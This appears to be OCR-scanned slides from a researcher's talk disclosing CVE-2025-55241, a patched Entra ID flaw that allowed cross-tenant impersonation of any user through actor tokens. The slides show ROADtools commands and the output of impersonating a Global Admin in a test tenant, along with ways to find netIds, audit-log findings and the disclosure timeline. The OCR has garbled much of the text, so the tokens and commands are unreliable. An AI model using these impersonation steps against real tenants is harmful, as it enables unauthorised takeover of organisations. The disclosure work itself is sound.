I2LTRJODAtYWEIMCOIMDQSNIIZMTZ1YFI1LCIOcnVZdGVkZmIyZGVsZWdhdGLlvbiI6InRydWULLCI4bXNfc3Bjdy
JTgJAQzrVAztKO2FsCXCpCn2XgCO12YmdSmDpmF76WogMy IxzbwXPNOGB3UdICb19vICAax12FOXG3hIgKkShuli
96WWSYPxj5zvFCP7i0aCsRTIXRNi17M1rl e60ak9c85s00xmr6TTacnHFVCRRTTel v6AdYpMO8gPyz1JqjtAp-1HY

"aud": | 00000002-0000-0000-cO00-000000000000/graph.windows.net[36287f28f-4f7f-4322-94

"exp": 1753221066,

"iat": 1753220766,

"iss": "00000002-0000-0ff1-cebO-0EEOOOOOOOEEE6287F28F-4f7f-4322-9651-38697d8felbc”,

"nameid": ["1003200087D335D0",

"nbf": 1753220766,

"nii": "urn:federation:MicrosoftOnline",
"sip": "dirkjan@iminyour.cloud",

"smtp": "dirkjan@iminyour.cloud",

"upn": "dirkjan@iminyour.cloud"




netld / nameid property

Dirk-jan

UCSLI LpLLUI:  Ldll maliidyc all ddpolld Ul PiLLiudui L Liitia 1v al
displayName: "Global Administrator"
mobile: null
msExchMailboxGuid: null
msExchRec1p1entTypeDeta115 null
R NU 1

490b-bbel-2c7be9cabbbl™

0b]
ob]ectType "User"
onPremisesDistinguishedName: null
onPremisesObjectIdentifier: null



Raising the impact

From a compromised exchange hybrid on-prem we can now:
*  Modify/create users

*  Assign roles

*  Manage apps and API permissions

e (reate new Global Admins

«  Modify Conditional Access policies

¢ efc

while bypassing all possible security controls.



July 14t — the disclosure

Because of the new impact | felt reporting this to
MSRC was probably the better route.

While writing my report | tried a few more alternative
attacks.



Changing the tenant ID

"alg": "none",
”typ" : "thT"

Signed Actor token from tenant A

"actortoken": "eyJ0eXA101JKV1Q1LCIhbGc101JSUZIIN1IsIng1dCI6I19qTndqZVNud lRUSZhYRWRYNVFVUGtCUkXMBYISI
AWMDAVZ3JhcGgud21uZG93cySuZXRANFI4N2YYOGYtNGY3Z100MzIyLTk2NTELYTg20TdkOGZ 1MW FTiwiaXNzI joiMDAWMDAWMIE tMDA
ZEXNiwibmImI joxNzUyNTA3MTE2LCI1eHALOJE3NTI10TM4MTYSImIkZW50aXR5¢cHIvdmlkZXI101IwMDAWMDAWMSOWMDAWL TAWMDAL
PwMCOmeYxLNN1MDAtMDAwMDAwMDAwMDAwQDYyOdeMjthTRmNZYtNDMyMiOSNjUxLHE4Njk3ZDhmZTFiYyIsIm9pZC161mE3N Fiym]]
DUFBQUFBQUFBQ3RBUUIWQUEUIiWic3ViIjolYTC2ZMWNLYJItZmIiNLOOYZgWLWFhNTAtNTAGOTYYMZE2ZWIYIiwidHI1c3R1ZGZYcmR1h
SQwWSMYeNE3FuYOPisOyJB7JJFEOztLBzIcyuQKToxGG18sFILQZNVWBWGIb4LmuttoJAse3hmSs_eUxycwCcQaSXbmzvpZMG_Qf -dEdS

ARXG2InkIyh-c71HUz1Hph96qURA0 HvQeTF1b4fBii3sWsgQOAzdEYLXTxeLkNB8v2rWkHMLGpaAaFIlhA",
Taud": "00000002-0000-0000-cO00-000000000000/graph.windows.net@b9fb93c1-cOcB-4580-99f3-d1b540cada32”,
"exp": 1757442921,

"{at": 1757442621,

"iss": "00000002-0000-0ff1-ce00-000000000000@b9fb93c1-cOCcB8-4580-99f3-d1b540cada32",
"nameid": "10032001E2CBE43B",

"nbf": 1757442621,

"nii": "urn:federation:MicrosoftOnline",

"sip": "doesnt@matter.com”,

"smtp": "doesnt@matter.com”,

"upn": "doesnt@matter.com”




User not found... but token
accepted?

(ROADtools) X python getimpersonationtoken.py dirkjan@iminyour.cloud 16032020870335D0

Generating impersonation token for dirkjan@iminyour.cloud @ ©G680002-0060-0000-cB80-0000BBB00000/graph.windows.net@9fbo3c1-cBc8-4580-99f3-d1b548cada32
X roadtx graphrequest 'https://graph.windows.net/myorganization/policies?api-version=1.61-internal’

(ROADtools)
403
{
"odata.error": [
"code": "Authentication_Unauthorized”,
message”: |
"lang”: "en",
"value”: "User was not found."

}

"requestid™: "1f79537b-a616-4547-826a-cScoDgO73672" ,
"date": "2825-07-14T713:19:45
"odata.error": {
"code": "Authentication_Unauthorized",
"message": {
"lang": "en",
"value": "User was not found."
1,
"requestId": "1f79537b-a610-4547-826a-c9c966073672",
"date": "2025-07-14T713:19:45"




Figuring out my own netld

"family_name" :

"given_name": '

"idtyp": "user”,

"name" : "Dirk-jan Mollema",

oid” . T
"platf”:

"puid" :| "1003208018622FDB8",

T gl




Making sure | was not crazy

Using a guest user in a different test tenant, query the
netld of a Global Admin, and use that to impersonate
the Global Admin.

(ROADtools) X pvthon aetimpersonationtoken.py dirkjan@iminyour.cloud [1600320018622FD0G8
Targeting tenant e408897f-9dd3-445d-b78d-9eaab9227cb4

Generating impersonation token for 100320018622FDO8 @ COOOOOO2-000C-00CO-cOOO-0OCOCOEOEO00/graph.windows.ne

(ROADtools) X roadtx graphrequest 'https://graph.windows.net/myorganization/users/cloudadmin@onprem.outsid
{
"odata.metadata": "https://graph.windows.net/myorganization/$metadata#directoryObjects/@Element"”,
"odata.tvpe": "Microsoft.DirectorvServices.User".
"userPrincipalName": "cloudadmin@onprem.outsider.training”,
"netId": "10032004208AF571"




Impersonating the Global Admin

(ROADtools) - X python getimpersonationtoken.py dirkjan@iminyour.cloud 10032004208AF571

Targeting tenant e408897f-9dd3-445d-b78d-9eaab9227cb4
Generating impersonation token for 10032004208AF571 @ 00000002-0000-0000-cOEO-000000000000/graph.windows.net

(ROADtooOls) X roadtx graphrequest 'https://graph.windows.net/myorganization/users?api-version=1.61-internal

{

"odata.metadata": "https://graph.windows.net/myorganization/$Smetadata#directoryObjects”,
"value": [

{

"odata.type": "Microsoft.DirectoryServices.User",

(ROADtools) X roadrecon gather --mfa -d roadrecon_at.db
Starting data gathering phase 1 of 2 (collecting objects)

Starting data gathering phase 2 of 2 (collecting properties and relationships)
ROADrecon gather executed in 7.07 seconds and issued 1210 HTTP requests.
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= Microsoft MSRC ‘ Researcher Portal

® Unauthenticated cross-tenant Entra ID access as any user
®
VULN-158671
Q
4 = Activity J Attachments  [3) Description [ Disclosure
S Submitter created this report,

14 Jul 2025, 17:40

Description

Exchange hybrid / exchange online, and probably many other internal Microsoft services, use Service to Service (S2S)
tokens to authenticate against other resources. These S2S tokens allow many services to impersonate arbitrary users in
the destination service, Exchange is authorized to request S2S actor tokens for the Azure AD graph resource

{ graph.windows.net ), which allow it to act as any user in the tenant when communicating with this service. These S2S
actor tokens:



Prerequisites

To compromise an arbitrary tenant we need to know:
T The tenant ID (public information)
A valid netld

Strategies:
T Find netlds in tokens (PUID claim)
1 Brute force netlds (they are sequential)
T Abuse B2B trusts



Guest user links

Guest account

Linked

Tenant A
Resource tenant

Source: my Black Hat USA 2022 talk on guest abuse

Home tenant account

Tenant B
Home tenant



Guest account altSeclds

vy Object
acceptedAs: "inviteme@crosstenantdev.onmicrosoft.com”
acceptedOn: "2022-07-25T12:10:18"
accountEnabled: true
ageGroup: null
v alternativeSecurityIds: Array[1]

v]0: Object
identityProvider: null
key: "EAMgAhABgdc="
type: 5

usagelocation: "NL"

userPrincipalName: “inviteme crosstenantdev.onmicrosoft.com#EXT#@iminyourcloud.onmicrosoft.com”
userState: "Accepted”

userStateChangedOn: "2022-07-25712:10:18"

userType: "Guest"



From Base64 Y N
A-Za-20-9+/=

D Strict mode

Remove non-aiphabet chars
To Hex ) 1

None C
To Upper case o n

All

~

Input

EAMpAhABGdc=

Output

Based on netid property in
nome tenant

1003200210344907

Invite Me

L1
mobile: null
msExchMailboxGuid: null

msExchRec1p1entTypeDeta115 null

ob]ectType 'User

ar 100’200210’4!\907

5c-9a33-8ffe2fod47e0"




Linking guest accounts

Between tenants

Home tenant account
netld

Guest account
alternativeSecuritylds

Tenant A Tenant B
Resource tenant Home tenant



Cross-tenant compromise

Guest account Home tenant account
alternativeSecuritylds netld

Tenant A Tenant B
Resource tenant Home tenant




Hopping over BZ2B trusts




Most Microsoft MSPs

Some tenant Microsoft tenant

Their customers



Audit logs

Reading / gathering information did not leave any logs at the
time.

Making changes with this method, the audit logs look “odd”

Initiated by (actor)

Type User

Display Name Office 365 Exchange Online

Object ID 34c0abec-4cf2-490b-bbe1-2c7be9cabbb1
IP address 94.211

User Principal Name dirkjan@iminyour.cloud




Cloud app events have more details

~  Actor [{"ID":"dirkjan@iminyour.cloud","Type":"5"},{"ID":"1003200087D335D0","Type":"3"},{"ID":"Office 365 Exchange |
> 0 {"ID":"dirkjan@iminyour.cloud","Type":"5"}
> 1 {"1D":"1003200087D335D0","Type":"3"}
> 2 {"ID":"Office 365 Exchange Online","Type":"1"}
> 3 {"ID":"00000002-0000-0ff1-ce00-000000000000","Type":"2"}
> 4 {"ID":"User_34c0abec-4cf2-490b-bbe1-2c7be9cabbb1","Type":"2"}
> 5 {"ID":"34c0abec-4cf2-490b-bbe1-2c7be9cabbb1","Type":"2"}
> 6 {"ID":"User","Type":"2"}



Disclosure timeline

July 12, 2025 - found actor tokens work on AAD Graph

July 14, 2025 - reported issue to MSRC.

July 14, 2025 - MSRC case opened.

July 15, 2025 - reported further details on the impact.

July 15, 2025 - MSRC requested to halt further testing of this vulnerability.
July 17, 2025 - Microsoft pushed a fix for the issue globally into production.
July 23, 2025 - Issue confirmed as resolved by MSRC.

August 6, 2025 - Further mitigations pushed out preventing Actor tokens being issued for the Azure AD Graph
with SP credentials.

August 7, 2025 - CISA emergency directive prompting Exchange hybrid service principal migration
September 4, 2025 - CVE-2025-55241 issued.
September 17, 2025 - Release of blogpost on this topic.



Further developments

«  The split service principal deployment for Exchange is now
mandatory, no more shared service principal.

«  Actor tokens are no longer accepted by Exchange Online or
SharePoint online.

« The usage of actor tokens in the backend seems to be
further reduced.
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